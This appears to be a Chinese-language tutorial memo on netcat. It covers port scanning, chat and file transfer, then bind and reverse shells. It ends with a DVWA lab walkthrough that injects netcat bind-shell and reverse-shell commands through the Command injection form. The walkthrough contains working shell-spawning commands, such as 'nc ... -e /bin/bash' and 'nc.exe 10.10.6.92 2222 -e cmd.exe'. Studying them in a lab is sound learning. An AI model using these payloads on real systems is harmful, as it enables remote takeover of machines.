探测单个端口是否开放可以用telnet,专业探测端口可以用Nmap,而对于非渗透用途的Linux可以直接用netcat。
nc -z -v 192.168.220.128 80-9999 #z代表不交互要不然遇到交互的端口nc会阻塞,v代表打印端口情况不然扫了也没办理出,下来是IP和要扫描的端口
一端先启好监听:
nc -l 9999
另一端端进行连接:
nc 192.168.220.128 9999
连接之后的任一边的输入在另一边都可看到
和局域网聊天是原理一样的,不过把输入输出重定向到文件
接收入端先启好监听:
nc -l 9999 > recv.txt
发送端进行发送:
nc 192.168.220.128 9999 < send.txt
不过传输完之后不会自动断开连接得手动ctrl+c断开,而且转输完成并没有什么标志不知是否已传完。
控制机器主动连接受控端称为正向连接(2和3其实就和正向连接一样的,只是没执行shell而已)
受控端先启好监听:
nc -l -p 9999 -e /bin/bash
控制端主动连接:
nc 192.168.220.129 9999
反之控制端启好监听等受控端连接称为反向连接
控制端启好监听:
nc -lv 9999
受控端主动连接:
nc 192.168.220.128 9999 -e /bin/bash
说明:
centos版本的nc没有-e选项,启监听时也不(能)用-p;而kali版本有-e选项且启监听必须用-p指定端口(不用-p会用随机端口)
(本节为2019-07-29更新,本打算新写一篇,但一想感觉关联紧密还是在此文后附加更好)
去面试总被问到你有处理过什么比较难的问题吗、你有发现过什么比较严重的漏洞吗、你有攻击网站获取shell的经历吗之类的问题,每次总要答:我们做自己产品的渗透只要证明问题存在就可以了不需要你花很大的时间精力去研究这个漏洞能怎么最大化地利用,如果你研究着把系统搞挂了那更加不好。
但事实好像真的是,但渗透以来似乎就没有自主getshell的经历这委实有点说不过去。昨天和朋友学习被问反弹shell的问题,我说可以下次带电脑用dvwa来演示;回答时自信满满,但其实没真正实践过,今天就先来研究一下然后同时做个备忘。
DVWA所在主机:Windows 7、phpStudy、dvwa、Windows版nc(我这里安装在“D:\tools\netcat”)、ip地址10.10.6.91
搭配主机:Ubuntu 16.04(其实是什么系统都无所谓,因为作为控制端只需要其上的nc这一个命令)、ip地址10.10.6.92
前置操作:登录dvwa后切换至"DVWA Security"选项卡将安全级别设置为“Low”,然后切换至“Command injection”选项卡。
前置说明:可以使用nc的-d选项和windows的“start /b”两种方式实现nc的后台运行;
即便不使用后台运行,只要tcp连接建立那就算你关闭“Command injection”页面,该nc连接还是可用的;即后不后台运行,对于反弹shell没有什么影响,对于普通的正向shell那就只有已建立的连接可用,页面闭后端口就不会再监听。
如下图所示,在文本框中输入以下命令:
10.10.6.94 & start /b D:\tools\netcat\nc.exe -l -p 2222 -e c:\windows\system32\cmd.exe
点击提交后,在windows机器查看端口监听如下,端口2222被成功监听:
在搭配机器上连接监听地址如下,可以看到可成功连接,且可正常使用指定的“c:\windows\system32\cmd.exe”:
重置环境:windows上使用如“taskkill /f /pid 46420”形式杀除nc进程,搭配机上直接使用“Ctrl+C”中断nc连接。
先在搭配置上使用如下命令开启监听:
nc -l 2222
效果如下:
然后如下图所示,在文本框中输入以下命令:
10.10.6.94&D:\tools\netcat\nc.exe 10.10.6.92 2222 -e c:\windows\system32\cmd.exe
点击提交后,在windows机器查看端口情况如下,可以看到已主动与搭配置的2222端口建立起一个连接:
再回到搭配机上可以看到,已自动切换至cmd窗口界面,尝试输入命令也可成功执行: